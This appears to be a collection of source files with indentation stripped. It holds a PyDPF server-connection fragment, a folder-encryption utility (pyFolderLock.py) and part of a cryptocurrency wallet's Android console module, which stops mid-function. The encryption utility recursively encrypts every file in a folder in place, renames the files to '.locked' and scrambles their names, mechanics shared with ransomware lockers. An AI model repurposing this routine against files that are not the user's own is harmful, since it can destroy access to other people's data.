raise ImportError("Launching a remote session of DPF requires the installation"
+ " of ansys-platform-instancemanagement") from e
version = version or __ansys_version__
pim = pypim.connect()
instance = pim.create_instance(product_name = "dpf", product_version = version)
instance.wait_for_ready()
grpc_service = instance.services["grpc"]
if grpc_service.headers:
LOG.error("Communicating with DPF in this remote environment requires metadata."
+ "This is not supported, you will likely encounter errors or limitations.")
return instance
def check_ansys_grpc_dpf_version(server, timeout=10.):
state = grpc.channel_ready_future(server.channel)
# verify connection has matured
tstart = time.time()
while ((time.time() - tstart) < timeout) and not state._matured:
time.sleep(0.001)
if not state._matured:
raise TimeoutError(
f"Failed to connect to {server._address}" +
f" in {int(timeout)} seconds"
)
LOG.debug("Established connection to DPF gRPC")
grpc_module_version = ansys.grpc.dpf.__version__
server_version = server.version
right_grpc_module_version = server_to_ansys_grpc_dpf_version.get(server_version, None)
if right_grpc_module_version and right_grpc_module_version != grpc_module_version:
compatibility_link = (f"https://dpfdocs.pyansys.com/getting_started/"
f"index.html#client-server-compatibility")
raise ImportWarning(f"An incompatibility has been detected between the DPF server version "
f"({server_version} "
f"from Ansys {server_to_ansys_version.get(server_version, 'Unknown')})"
f" and the ansys-grpc-dpf version installed ({grpc_module_version})."
f" Please consider using the latest DPF server available in the "
f"2022R1 Ansys unified install.\n"
f"To follow the compatibility guidelines given in "
f"{compatibility_link} while still using DPF server {server_version}, "
f"please install version {right_grpc_module_version} of ansys-grpc-dpf"
f" with the command: \n"
f" pip install ansys-grpc-dpf=={right_grpc_module_version}"
)
# raise ImportWarning(f"2022R1 Ansys unified install is available. "
# f"To use DPF server from Ansys "
# f"{server_to_ansys_version.get(server_version, 'Unknown')}"
# f" (dpf.SERVER.version=='{server_version}'), "
# f"install version {right_grpc_module_version} of ansys-grpc-dpf"
# f" with the command: \n"
# f" pip install ansys-grpc-dpf=={right_grpc_module_version}"
# )
|
pyFolderLock.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import time
import os
import base64
import joblib
import threading
import multiprocessing
import psutil
import logging
import argparse
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, wait
from threading import Event, Thread
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
# ================================================================
#
# Module scope variables.
#
# ================================================================
VERSION = '1.0.1'
ENCRYPTED_EXT = '.locked'
EXT_PATH = '\\\\?\\' if os.name == 'nt' else ''
MAX_PASS_LENGTH = 1024
# ================================================================
#
# Core Encrypt/Decrypt functions.
#
# ================================================================
# Primary functions
# =================================================================
def encrypt_file(filename, tmpFilename, password, bufferSize):
"""
Encrypts files. If file exceeds buffersize, will stream it.
CBC mode, including PKCS#7 padding
"""
if _should_stream_file(filename, bufferSize):
_encrypt_file_streaming(filename, tmpFilename, str.encode(password), bufferSize)
os.replace(tmpFilename, filename)
else:
output = encrypt_bytes(str.encode(password), _read_file(filename))
_write_file(filename, output)
def decrypt_file(filename, tmpFilename, password, bufferSize):
"""
Decrypts files. If file exceeds buffersize, will stream it.
CBC mode, including PKCS#7 padding
"""
if _should_stream_file(filename, bufferSize):
_decrypt_file_streaming(filename, tmpFilename, str.encode(password), bufferSize)
os.replace(tmpFilename, filename)
else:
output = decrypt_bytes(str.encode(password), _read_file(filename))
_write_file(filename, output)
def encrypt_bytes(key, source):
"""
Encrypts pure bytes (used for small sources)
CBC mode, including PKCS#7 padding
"""
encryptor, IV = _build_encryptor(key)
byteOutput = IV
byteOutput += _encrypt_chunk(source, encryptor, True)
return byteOutput
def decrypt_bytes(key, source):
"""
Decrypts pure bytes (used for small sources)
CBC mode, including PKCS#7 padding
"""
IV = source[:AES.block_size]
decryptor = _build_decryptor(key, IV)
source = source[AES.block_size:]
data = _decrypt_chunk(source, decryptor, True)
return data
# Helper functions
# =================================================================
# process file streams
# =============
def _encrypt_file_streaming(infile, outfile, key, bufferSize):
if os.path.isfile(outfile) and os.path.samefile(infile, outfile):
raise ValueError("Input and output files are the same.")
try:
with open(infile, "rb") as fIn:
try:
with open(outfile, "wb") as fOut:
# setup encryptor
encryptor, IV = _build_encryptor(key)
fOut.write(IV)
# loop file
keepRunning = True
while keepRunning:
# try to read bufferSize bytes
fdata = fIn.read(bufferSize)
# check if EOF was reached
if len(fdata) < bufferSize:
keepRunning = False
# encrypt
cText = _encrypt_chunk(fdata, encryptor, not(keepRunning))
# write encrypted file content
fOut.write(cText)
except IOError:
raise ValueError("Unable to write output file.")
except IOError:
raise ValueError("Unable to read input file.")
def _decrypt_file_streaming(infile, outfile, key, bufferSize):
if os.path.isfile(outfile) and os.path.samefile(infile, outfile):
raise ValueError("Input and output files are the same.")
try:
with open(infile, "rb") as fIn:
try:
with open(outfile, "wb") as fOut:
# setup decryptor
IVData = fIn.read(AES.block_size)
IV = IVData[:AES.block_size]
decryptor = _build_decryptor(key, IV)
# loop file
fileSize = os.stat(infile).st_size
keepRunning = True
while keepRunning:
# try to read bufferSize bytes
fdata = fIn.read(bufferSize)
# check if end of file
posInStream = fIn.tell()
if posInStream == fileSize:
keepRunning = False
elif posInStream > fileSize:
os.remove(outfile)
raise ValueError("File input length has grown?")
# decrypt
cText = _decrypt_chunk(fdata, decryptor, not(keepRunning))
# write decrypted file content
fOut.write(cText)
except IOError:
raise ValueError("Unable to write output file.")
except IOError:
raise ValueError("Unable to read input file.")
# process bytes
# =============
def _encrypt_chunk(inBytes, encryptor, fileEnd):
# pad if needed
if fileEnd:
padding = AES.block_size - len(inBytes) % AES.block_size
inBytes += bytes([padding])*padding
# encrypt data
cText = encryptor.encrypt(inBytes)
# encrypted text
return cText
def _decrypt_chunk(inBytes, decryptor, fileEnd):
# decrypt text
cText = decryptor.decrypt(inBytes)
# remove pad if needed
if fileEnd:
padding = cText[-1]
if cText[-padding:] != bytes([padding]) * padding:
raise ValueError("Invalid padding...")
cText = cText[:-padding]
# return decrpyted text
return cText
# builders
# =============
def _build_encryptor(key):
key = SHA256.new(key).digest()
IV = Random.new().read(AES.block_size)
encryptor = AES.new(key, AES.MODE_CBC, IV)
return encryptor, IV
def _build_decryptor(key, IV):
key = SHA256.new(key).digest()
decryptor = AES.new(key, AES.MODE_CBC, IV)
return decryptor
# determinator
# =============
def _should_stream_file(filename, bufferSize):
filesizeBytes = os.path.getsize(filename)
if filesizeBytes < bufferSize:
return False
return True
# ================================================================
#
# Program specific parts.
#
# ================================================================
# Utilities
# =================================================================
# Functions
# =============
def _read_file(path, mode='rb'):
with open(path, mode) as ifp:
return ifp.read()
def _write_file(path, content):
with open(path, 'wb') as ofp:
ofp.write(content)
def _get_filename(filepath):
return str(Path(filepath).name)
def _get_parent(filepath):
return str(Path(filepath).parent)
def _get_curr_names(filepath):
filenames = []
dirnames = []
for ternary in os.walk(filepath):
for direc in ternary[1]:
dirnames.append(direc)
for filename in ternary[2]:
filenames.append(filename)
return dirnames, filenames
def _is_non_empty_file(fpath):
return os.path.isfile(fpath) and os.path.getsize(fpath) > 0
# Classes
# =============
class InvalidPasswordError(Exception):
"""Raised when password is invalid"""
pass
class InvalidArgumentError(Exception):
"""Raised when argument is invalid"""
def __init__(self, arg, reason):
self.arg = arg
self.reason = reason
self.msg = "Argument [{0}] is invalid because [{1}]".format(self.arg, self.reason)
super().__init__(self.msg)
class _RepeatedTimer:
"""
Repeat `function` every `interval` seconds.
https://stackoverflow.com/a/33054922/11381698
"""
def __init__(self, interval, function, *args, **kwargs):
self._interval = interval
self._function = function
self._args = args
self._kwargs = kwargs
self._start = time.time()
self._event = Event()
self._thread = Thread(target=self._target)
self._thread.start()
def _target(self):
while not self._event.wait(self._time):
self._function(*self._args, **self._kwargs)
@property
def _time(self):
return self._interval - ((time.time() - self._start) % self._interval)
def stop(self):
self._event.set()
self._thread.join()
class _FileCreation:
"""
Keeps track of filenames to keep duplicates from occuring.
Uses a custom base of filename safe chars
"""
def __init__(self, nameBlacklist):
self._count = 0
self._customBaseInp = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
self._customBase = len(self._customBaseInp)
self._lock = threading.Lock()
self._nameBlacklist = nameBlacklist
def _convert_to_base(self, num):
if num < self._customBase:
return self._customBaseInp[num]
else:
return (self._convert_to_base(num // self._customBase)
+ self._customBaseInp[num % self._customBase])
def get_filename(self):
with self._lock:
while True:
self._count += 1
result = self._convert_to_base(self._count)
if (not(result in self._nameBlacklist)):
return result
class _DataStore:
"""
Stores data about the encryption inside a metadata file
"""
UUID_TO_FILENAME_KEY = "UUID_TO_FILENAME"
PASSWORD_VERIFIER_KEY = "PASSWORD_VERIFIER"
KEY_TO_STORE = {UUID_TO_FILENAME_KEY: {},
PASSWORD_VERIFIER_KEY: PASSWORD_VERIFIER_KEY}
def __init__(self, filepath):
self._filepath = filepath
self._lock = threading.Lock()
self._store = self._load_store()
for key in _DataStore.KEY_TO_STORE:
self.build_store(key)
def save_value(self, key, value):
with self._lock:
self._store[key] = value
def get_value(self, key):
with self._lock:
if key in self._store:
return self._store[key]
def build_store(self, key):
with self._lock:
if key in self._store:
return self._store[key]
else:
self._store[key] = _DataStore.KEY_TO_STORE[key]
return self._store[key]
def save_store(self, delete=False):
with self._lock:
self._delete_store() if delete else self._write_store()
def _load_store(self):
if os.path.exists(self._filepath):
return joblib.load(self._filepath)
else:
return {}
def _delete_store(self):
os.remove(self._filepath)
def _write_store(self):
joblib.dump(self._store, self._filepath, compress=9)
class _Metrics:
"""
Manages metric information for the encryption process
"""
def __init__(self, folder, enabled, numFiles, numFolders):
self._enabled = enabled
if self._enabled:
self._folder = folder[len(EXT_PATH):]
self._startTime = None
self._filesProcessed = 0
self._fileNamesProcessed = 0
self._totalFiles = numFiles
self._totalDirs = numFolders
self._totalFilesAndDirs = numFiles + numFolders
self._lock = threading.Lock()
self._sched = None
def start(self, method):
if self._enabled:
self._startTime = time.time()
self._sched = _RepeatedTimer(1, method)
def stop(self):
if self._enabled:
self._sched.stop()
# Metric calcs
# ============================
def process_filename(self, filename):
if self._enabled:
with self._lock:
self._fileNamesProcessed += 1
logging.debug('Processed filename: ' + filename)
def process_file(self, filename):
if self._enabled:
with self._lock:
self._filesProcessed += 1
logging.debug('Processed file: ' + filename)
def check_state(self, metric, metricName):
if self._enabled:
totalFiles = self._totalFiles
if metricName == 'FILENAMES_PROCESSED':
totalFiles = self._totalFilesAndDirs
timeRunning = str(int(time.time() - self._startTime))
percentComplete = 0
if totalFiles > 0:
percentComplete = int((metric / totalFiles) * 100)
return {
'FOLDER': self._folder,
'TIME_RUNNING (s)': timeRunning,
metricName: metric,
'TOTAL_FILES': totalFiles,
'PERCENT_COMPLETE': percentComplete
}
def print_state_files(self):
if self._enabled:
logging.info(str(self.check_state(self._filesProcessed,
'FILES_PROCESSED')))
def print_state_filenames(self):
if self._enabled:
logging.info(str(self.check_state(self._fileNamesProcessed,
'FILENAMES_PROCESSED')))
# Runner
# =================================================================
class MultiFolderEncryptor:
"""
Encrypts/Decrypts contents of the passed in folder
folders - list of folders. replaces 'folder' arg in FolderEncryptor
- rest of args are derived from FolderEncryptor
"""
def __init__(self,
folders,
password,
**kwargs):
# list of encrypters to run
self.folderEncryptors = []
# handle case of single folder, no list
if isinstance(folders, str):
folders = [folders]
# create folder encryptors for each folder
for folder in folders:
try:
folderEncryptor = FolderEncryptor(folder, password, **kwargs)
self.folderEncryptors.append(folderEncryptor)
except InvalidPasswordError:
logging.error("The password you entered is invalid for: " + folder)
except InvalidArgumentError as e:
logging.error(str(e.msg))
# Managing functions
# =================================================================
def run(self):
""" Executes the encrypt/decrypt processes on all folderEncryptors"""
for folderEncryptor in self.folderEncryptors:
try:
folderEncryptor.run()
except Exception:
logging.error("Failed to execute encrypt/decrypt on folder: [{0}]"
.format(folderEncryptor.folderLocation))
class FolderEncryptor:
"""
Encrypts/Decrypts contents of the passed in folder
folder - location to encrypt/decrypt all files inside
password - used for the encryption process
opt: passwordFile - specifies if password arg is a file with pass inside
opt: verifyPassword - checks if password is correct b4 decrypting
opt: metricsEnabled - turms on/off metrics thread
opt: maxThreads - number of threads to use.
opt: memory - max memory to use. 0 or less calculates default.
opt: memoryMultiplier - multiplier on the max memory
"""
METADATA_FILE = '.encryption_context'
TMP_FILE_EXT = '.tmp'
def __init__(self,
folder,
password,
passwordFile=False,
verifyPassword=False,
metricsEnabled=True,
maxThreads=multiprocessing.cpu_count(),
memory=0,
memoryMultiplier=.75):
# check arg validity
self._check_args(folder,
password,
passwordFile,
verifyPassword,
metricsEnabled,
maxThreads,
memory,
memoryMultiplier)
# build folder specific vars
self.folderLocation = EXT_PATH + str(Path(os.path.abspath(folder)))
dirnames, filenames = _get_curr_names(self.folderLocation)
self._metadataFileLoc = os.path.join(self.folderLocation,
FolderEncryptor.METADATA_FILE)
self._encryptFiles = not(os.path.exists(self._metadataFileLoc))
# dependent objects
self._threadExec = ThreadPoolExecutor(max_workers=maxThreads)
self._fileCreation = _FileCreation(set(dirnames + filenames))
self._datasource = _DataStore(self._metadataFileLoc)
self._metrics = _Metrics(self.folderLocation,
metricsEnabled,
len(filenames),
len(dirnames))
# handle password
self._password = password if not(passwordFile) else _read_file(password, "r+")
if verifyPassword:
self._verify_password(self._password)
# dependent vars
self._uuidToFilenameDict = self._datasource.get_value(_DataStore.UUID_TO_FILENAME_KEY)
self._fileBufferSize = self._calc_default_buffer(maxThreads,
memory,
memoryMultiplier=memoryMultiplier)
# Managing functions
# =================================================================
def run(self):
""" Executtes the encrypt/decrypt processes """
if os.path.isdir(self.folderLocation):
self._process_folder()
def _process_folder(self):
if self._encryptFiles:
self._handle_encrypt_filenames()
self._handle_encrypt_files()
else:
self._handle_encrypt_files()
self._handle_encrypt_filenames()
self._datasource.save_store(not(self._encryptFiles)
or len(self._uuidToFilenameDict) == 0)
def _handle_encrypt_files(self):
self._metrics.start(self._metrics.print_state_files)
self._walk_encrypt_files(self.folderLocation)
self._metrics.stop()
def _handle_encrypt_filenames(self):
self._metrics.start(self._metrics.print_state_filenames)
self._walk_encrypt_names(self.folderLocation)
self._metrics.stop()
# Recursively walk directories
# =================================================================
def _walk_encrypt_files(self, fileInput):
futures = []
for ternary in os.walk(fileInput):
root = ternary[0]
subfiles = ternary[2]
for subfile in subfiles:
if subfile != FolderEncryptor.METADATA_FILE:
futures.append(self._threadExec.submit(self._process_file,
os.path.join(root, subfile)))
wait(futures)
def _walk_encrypt_names(self, filepath):
if os.path.isdir(filepath):
for fileInput in os.listdir(filepath):
self._walk_encrypt_names(os.path.join(filepath, fileInput))
self._process_file_name(filepath)
# Encrypt/Decrypt files
# =================================================================
def _process_file(self, fileInput):
try:
if _is_non_empty_file(fileInput) and os.access(fileInput, os.W_OK):
tmpFilename = os.path.join(_get_parent(fileInput),
self._fileCreation.get_filename()) + '.tmp'
if self._encryptFiles:
self._process_encrypt_file(fileInput, tmpFilename)
else:
self._process_decrypt_file(fileInput, tmpFilename)
self._metrics.process_file(fileInput)
except Exception:
logging.error('Failed to process file: ' + fileInput)
def _process_encrypt_file(self, fileInput, tmpFilename):
encrypt_file(fileInput,
tmpFilename,
self._password,
self._fileBufferSize)
fileInputEnc = fileInput + ENCRYPTED_EXT
os.rename(fileInput, fileInputEnc)
def _process_decrypt_file(self, fileInput, tmpFilename):
if (fileInput[-len(ENCRYPTED_EXT):] == ENCRYPTED_EXT):
decrypt_file(fileInput,
tmpFilename,
self._password,
self._fileBufferSize)
os.rename(fileInput, fileInput[:-len(ENCRYPTED_EXT)])
# Encrypt/Decrypt filenames
# =================================================================
def _process_file_name(self, fileInput):
try:
if (_get_filename(fileInput) != FolderEncryptor.METADATA_FILE
and fileInput != self.folderLocation and os.access(fileInput, os.W_OK)):
inputName = _get_filename(fileInput)
outputName = None
if self._encryptFiles:
outputName = self._process_encrypt_filename(fileInput, inputName)
else:
outputName = self._process_decrypt_filename(fileInput, inputName)
if outputName:
fileOutput = os.path.join(_get_parent(fileInput), outputName)
os.rename(fileInput, fileOutput)
self._metrics.process_filename(fileOutput)
except Exception:
logging.error('Failed to process filename: ' + fileInput)
def _process_encrypt_filename(self, fileInput, inputName):
outputName = self._fileCreation.get_filename()
self._uuidToFilenameDict[outputName] = encrypt_bytes(str.encode(self._password),
str.encode(inputName))
return outputName
def _process_decrypt_filename(self, fileInput, inputName):
if inputName in self._uuidToFilenameDict:
encFilename = self._uuidToFilenameDict[inputName]
outputName = decrypt_bytes(str.encode(self._password), encFilename).decode()
return outputName
# Password Verification
# =================================================================
def _verify_password(self, password):
if self._encryptFiles:
self._handle_verify_pwd_encrypt(password)
else:
self._handle_verify_pwd_decrypt(password)
def _handle_verify_pwd_encrypt(self, password):
encryptedPassword = encrypt_bytes(str.encode(self._password),
str.encode(_DataStore.PASSWORD_VERIFIER_KEY))
self._datasource.save_value(_DataStore.PASSWORD_VERIFIER_KEY, encryptedPassword)
def _handle_verify_pwd_decrypt(self, password):
try:
encryptedPassword = self._datasource.get_value(_DataStore.PASSWORD_VERIFIER_KEY)
decryptedPasswordEnc = decrypt_bytes(str.encode(self._password),
encryptedPassword)
if decryptedPasswordEnc.decode() == _DataStore.PASSWORD_VERIFIER_KEY:
return None
except Exception:
pass
raise InvalidPasswordError
# Utilities
# =================================================================
def _check_args(self,
folderLocation,
password,
passwordFile,
verifyPassword,
metricsEnabled,
maxThreads,
memory,
memoryMultiplier):
self._check_type(folderLocation, "folderLocation", str)
if not(os.path.isdir(folderLocation)):
raise InvalidArgumentError("folderLocation",
"Location [{0}] does not exist".format(folderLocation))
self._check_type(passwordFile, "passwordFile", bool)
if passwordFile and not(os.path.exists(password)):
raise InvalidArgumentError("password",
"Path [{0}] does not exist".format(folderLocation))
password = password if not(passwordFile) else _read_file(password, "r+")
self._check_type(password, "password", str)
if len(password) > MAX_PASS_LENGTH:
raise InvalidArgumentError("password",
"Length exceeds [{0}]".format(MAX_PASS_LENGTH))
self._check_type(verifyPassword, "verifyPassword", bool)
self._check_type(metricsEnabled, "metricsEnabled", bool)
self._check_type(maxThreads, "maxThreads", int)
self._check_type(memory, "memory", int)
self._check_type(memoryMultiplier, "memoryMultiplier", float)
def _check_type(self, inputVal, inputStr, typee):
if not(isinstance(inputVal, typee)):
raise InvalidArgumentError(inputStr, "arg is not a " + str(typee))
def _calc_default_buffer(self, threadCount, memory, memoryMultiplier=0.75):
memoryToUse = memory if memory > 0 else psutil.virtual_memory().available
memoryBytesPerThread = (memoryToUse * memoryMultiplier) // threadCount
return int(memoryBytesPerThread - (memoryBytesPerThread % 16))
|
console.py | from __future__ import absolute_import, division, print_function
import asyncio
import binascii
import copy
from code import InteractiveConsole
import json
import os
import time
from decimal import Decimal
from os.path import exists, join
import pkgutil
import unittest
import threading
import random
import string
from electrum.util import (
FailedGetTx,
UserCancel,
NotEnoughFunds,
NotEnoughFundsStr,
FileAlreadyExist,
DerivedWalletLimit,
UnavailablePrivateKey,
UnavailablePublicKey,
UnavailableEthAddr,
UnavailableBtcAddr,
NotSupportExportSeed,
InvalidBip39Seed,
InvalidPassword,
UnavaiableHdWallet,
)
from electrum.i18n import _, set_language
from electrum.keystore import bip44_derivation, purpose48_derivation, Imported_KeyStore
from electrum.plugin import Plugins
# from electrum.plugins.trezor.clientbase import TrezorClientBase
from electrum.transaction import PartialTransaction, Transaction, TxOutput, PartialTxOutput, tx_from_any, TxInput, \
PartialTxInput
from electrum import commands, daemon, keystore, simple_config, storage, util, bitcoin, paymentrequest
from electrum.util import bfh, Fiat, create_and_start_event_loop, decimal_point_to_base_unit_name, standardize_path, \
DecimalEncoder
from electrum.util import user_dir as get_dir
from electrum import MutiBase
from .tx_db import TxDb
from electrum.i18n import _
from .create_wallet_info import CreateWalletInfo
from electrum.storage import WalletStorage
from electrum.eth_wallet import (Imported_Eth_Wallet, Standard_Eth_Wallet, Eth_Wallet)
from electrum.wallet import (Imported_Wallet, Standard_Wallet, Wallet, Deterministic_Wallet)
from electrum.bitcoin import is_address, hash_160, COIN, TYPE_ADDRESS, base_decode
from electrum.interface import ServerAddr
from electrum import mnemonic
from electrum.mnemonic import Wordlist
from mnemonic import Mnemonic
from eth_keys import keys
from hexbytes import HexBytes
from electrum.address_synchronizer import TX_HEIGHT_LOCAL, TX_HEIGHT_FUTURE
from electrum.bip32 import BIP32Node, convert_bip32_path_to_list_of_uint32 as parse_path
from electrum.network import Network, TxBroadcastError, BestEffortRequestFailed
from electrum import ecc
from electrum.pywalib import InvalidPasswordException
from electrum.pywalib import PyWalib, ERC20NotExistsException, InvalidValueException, InvalidAddress, \
InsufficientFundsException
from electrum.keystore import Hardware_KeyStore
from eth_account import Account
from eth_utils.address import to_checksum_address
from eth_keys.utils.address import public_key_bytes_to_address
from trezorlib.customer_ui import CustomerUI
from trezorlib import (
btc,
exceptions,
firmware,
protobuf,
messages,
device,
)
from trezorlib.cli import trezorctl
from electrum.bip32 import get_uncompressed_key
from electrum.wallet_db import WalletDB
from enum import Enum
from .firmware_sign_nordic_dfu import parse
from electrum import constants
from electrum.constants import read_json
from .derived_info import DerivedInfo
from electrum.util import Ticker
if "iOS_DATA" in os.environ:
from .ioscallback import CallHandler
COIN_POS = 2
ACCOUNT_POS = 3
BTC_BLOCK_INTERVAL_TIME = 10
ticker = None
class Status(Enum):
net = 1
broadcast = 2
sign = 3
update_wallet = 4
update_status = 5
update_history = 6
update_interfaces = 7
create_wallet_error = 8
class AndroidConsole(InteractiveConsole):
"""`interact` must be run on a background thread, because it blocks waiting for input.
"""
def __init__(self, app, cmds):
namespace = dict(c=cmds, context=app)
namespace.update({name: CommandWrapper(cmds, name) for name in all_commands})
namespace.update(help=Help())
InteractiveConsole.__init__(self, locals=namespace)
def interact(self):
try:
InteractiveConsole.interact(
self, banner=(
_("WARNING!") + "\n" +
_("Do not enter code here that you don't understand. Executing the wrong "
"code could lead to your coins being irreversibly lost.") + "\n" +
"Type 'help' for available commands and variables."))
except SystemExit:
pass
class CommandWrapper:
def __init__(self, cmds, name):
self.cmds = cmds
self.name = name
def __call__(self, *args, **kwargs):
return getattr(self.cmds, self.name)(*args, **kwargs)
class Help:
def __repr__(self):
return self.help()
def __call__(self, *args):
print(self.help(*args))
def help(self, name_or_wrapper=None):
if name_or_wrapper is None:
return ("Commands:\n" +
"\n".join(f" {cmd}" for name, cmd in sorted(all_commands.items())) +
"\nType help(<command>) for more details.\n"
"The following variables are also available: "
"c.config, c.daemon, c.network, c.wallet, context")
else:
if isinstance(name_or_wrapper, CommandWrapper):
cmd = all_commands[name_or_wrapper.name]
else:
cmd = all_commands[name_or_wrapper]
return f"{cmd}\n{cmd.description}"
def verify_address(address) -> bool:
return is_address(address, net=constants.net)
def verify_xpub(xpub: str) -> bool:
return keystore.is_bip32_key(xpub)
# Adds additional commands which aren't available over JSON RPC.
class AndroidCommands(commands.Commands):
def __init__(self, android_id=None, config=None, user_dir=None, callback=None):
self.asyncio_loop, self._stop_loop, self._loop_thread = create_and_start_event_loop() # TODO:close loop
self.config = self.init_config(config=config)
if user_dir is None:
self.user_dir = get_dir()
else:
self.user_dir = user_dir
fd = daemon.get_file_descriptor(self.config)
if not fd:
raise BaseException(("Daemon already running, Don't start the wallet repeatedly"))
set_language(self.config.get('language', 'zh_CN'))
# Initialize here rather than in start() so the DaemonModel has a chance to register
# its callback before the daemon threads start.
self.daemon = daemon.Daemon(self.config, fd)
self.coins = read_json('eth_servers.json', {})
self.pywalib = PyWalib(self.config, chain_type="mainnet", path=self._tx_list_path(name="tx_info.db"))
self.txdb = TxDb(path=self._tx_list_path(name="tx_info.db"))
self.pywalib.set_server(self.coins["eth"])
self.network = self.daemon.network
self.daemon_running = False
self.wizard = None
self.plugin = Plugins(self.config, 'cmdline')
self.label_plugin = self.plugin.load_plugin("labels")
self.label_flag = self.config.get('use_labels', False)
self.callbackIntent = None
self.hd_wallet = None
self.check_pw_wallet = None
self.wallet = None
self.client = None
self.recovery_wallets = {}
self.path = ''
self.backup_info = self.config.get("backupinfo", {})
self.derived_info = self.config.get("derived_info", dict())
ran_str = self.config.get("ra_str", None)
if ran_str is None:
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
self.config.set_key("ra_str", ran_str)
self.android_id = android_id + ran_str
self.lock = threading.RLock()
self.init_local_wallet_info()
if self.network:
interests = ['wallet_updated', 'network_updated', 'blockchain_updated',
'status', 'new_transaction', 'verified', 'set_server_status']
util.register_callback(self.on_network_event, interests)
util.register_callback(self.on_fee, ['fee'])
# self.network.register_callback(self.on_fee_histogram, ['fee_histogram'])
util.register_callback(self.on_quotes, ['on_quotes'])
util.register_callback(self.on_history, ['on_history'])
self.fiat_unit = self.daemon.fx.ccy if self.daemon.fx.is_enabled() else ''
self.decimal_point = self.config.get('decimal_point', util.DECIMAL_POINT_DEFAULT)
self.hw_info = {}
for k, v in util.base_units_inverse.items():
if k == self.decimal_point:
self.base_unit = v
self.num_zeros = int(self.config.get('num_zeros', 0))
self.config.set_key('log_to_file', True, save=True)
self.rbf = self.config.get("use_rbf", True)
self.ccy = self.daemon.fx.get_currency()
self.pre_balance_info = ""
self.addr_index = 0
self.rbf_tx = ""
self.m = 0
self.n = 0
# self.sync_timer = None
self.config.set_key('auto_connect', True, True)
global ticker
ticker = Ticker(5.0, self.ticker_action)
ticker.start()
if 'iOS_DATA' in os.environ:
self.my_handler = CallHandler.alloc().init()
self.set_callback_fun(self.my_handler)
elif 'ANDROID_DATA' in os.environ:
if callback is not None:
self.set_callback_fun(callback)
self.start_daemon()
self.get_block_info()
_recovery_flag = True
def init_config(self, config=None):
config_options = {}
config_options['auto_connect'] = True
if config is None:
out_config = simple_config.SimpleConfig(config_options)
else:
out_config = config
return out_config
def set_language(self, language):
'''
Set the language of error messages displayed to users
:param language: zh_CN/en_UK as string
'''
set_language(language)
self.config.set_key("language", language)
# BEGIN commands from the argparse interface.
def stop_loop(self):
self.asyncio_loop.call_soon_threadsafe(self._stop_loop.set_result, 1)
self._loop_thread.join(timeout=1)
def update_local_wallet_info(self, name, wallet_type):
wallet_info = {}
wallet_info['type'] = wallet_type
wallet_info['time'] = time.time()
# wallet_info['xpubs'] = keystores
wallet_info['seed'] = ""
self.local_wallet_info[name] = wallet_info
self.config.set_key('all_wallet_type_info', self.local_wallet_info)
def init_local_wallet_info(self):
try:
self.local_wallet_info = self.config.get("all_wallet_type_info", {})
new_wallet_info = {}
name_wallets = ([name for name in os.listdir(self._wallet_path())])
for name, info in self.local_wallet_info.items():
if name_wallets.__contains__(name):
if not info.__contains__('time'):
info['time'] = time.time()
if not info.__contains__('xpubs'):
info['xpubs'] = []
# if not info.__contains__('seed'):
info['seed'] = ""
new_wallet_info[name] = info
self.local_wallet_info = new_wallet_info
self.config.set_key('all_wallet_type_info', self.local_wallet_info)
except BaseException as e:
raise e
def on_fee(self, event, *arg):
try:
self.fee_status = self.config.get_fee_status()
except BaseException as e:
raise e
# def on_fee_histogram(self, *args):
# self.update_history()
def on_quotes(self, d):
if self.wallet is not None and not self.coins.__contains__(self.wallet.wallet_type[0:3]):
self.update_status()
# self.update_history()
def on_history(self, d):
if self.wallet:
self.wallet.clear_coin_price_cache()
# self.update_history()
def update_status(self):
out = {}
status = ''
if not self.wallet:
return
if self.network is None or not self.network.is_connected():
print("network is ========offline")
status = _("Offline")
elif self.network.is_connected():
self.num_blocks = self.network.get_local_height()
server_height = self.network.get_server_height()
server_lag = self.num_blocks - server_height
if not self.wallet.up_to_date or server_height == 0:
num_sent, num_answered = self.wallet.get_history_sync_state_details()
status = ("{} [size=18dp]({}/{})[/size]"
.format(_("Synchronizing..."), num_answered, num_sent))
elif server_lag > 1:
status = _("Server is lagging ({} blocks)").format(server_lag)
else:
c, u, x = self.wallet.get_balance()
text = _("Balance") + ": %s " % (self.format_amount_and_units(c))
show_balance = c + u
out['balance'] = self.format_amount(show_balance)
out['fiat'] = self.daemon.fx.format_amount_and_units(show_balance) if self.daemon.fx else None
if u:
out['unconfirmed'] = self.format_amount(u, is_diff=True).strip()
text += " [%s unconfirmed]" % (self.format_amount(u, is_diff=True).strip())
if x:
out['unmatured'] = self.format_amount(x, is_diff=True).strip()
text += " [%s unmatured]" % (self.format_amount(x, is_diff=True).strip())
if self.wallet.lnworker:
l = self.wallet.lnworker.get_balance()
text += u' \U0001f5f2 %s' % (self.format_amount_and_units(l).strip())
# append fiat balance and price
if self.daemon.fx.is_enabled():
text += self.daemon.fx.get_fiat_status_text(c + u + x, self.base_unit, self.decimal_point) or ''
# print("update_statue out = %s" % (out))
self.callbackIntent.onCallback("update_status=%s" % json.dumps(out))
def get_remove_flag(self, tx_hash):
height = self.wallet.get_tx_height(tx_hash).height
if height in [TX_HEIGHT_FUTURE, TX_HEIGHT_LOCAL]:
return True
else:
return False
def remove_local_tx(self, delete_tx):
'''
:param delete_tx: tx_hash that you need to delete
:return :
'''
try:
to_delete = {delete_tx}
to_delete |= self.wallet.get_depending_transactions(delete_tx)
for tx in to_delete:
self.wallet.remove_transaction(tx)
self.delete_tx(tx)
self.wallet.save_db()
except BaseException as e:
raise e
# need to update at least: history_list, utxo_list, address_list
# self.parent.need_update.set()
def delete_tx(self, hash):
try:
if self.label_flag and self.wallet.wallet_type != "standard":
self.label_plugin.push_tx(self.wallet, 'deltx', hash)
except BaseException as e:
if e != 'Could not decode:':
print(f"push_tx delete_tx error {e}")
pass
def get_wallet_info(self):
wallet_info = {}
wallet_info['balance'] = self.balance
wallet_info['fiat_balance'] = self.fiat_balance
wallet_info['name'] = self.wallet.get_name()
return json.dumps(wallet_info)
def update_interfaces(self):
net_params = self.network.get_parameters()
self.num_nodes = len(self.network.get_interfaces())
self.num_chains = len(self.network.get_blockchains())
chain = self.network.blockchain()
self.blockchain_forkpoint = chain.get_max_forkpoint()
self.blockchain_name = chain.get_name()
interface = self.network.interface
if interface:
self.server_host = interface.host
else:
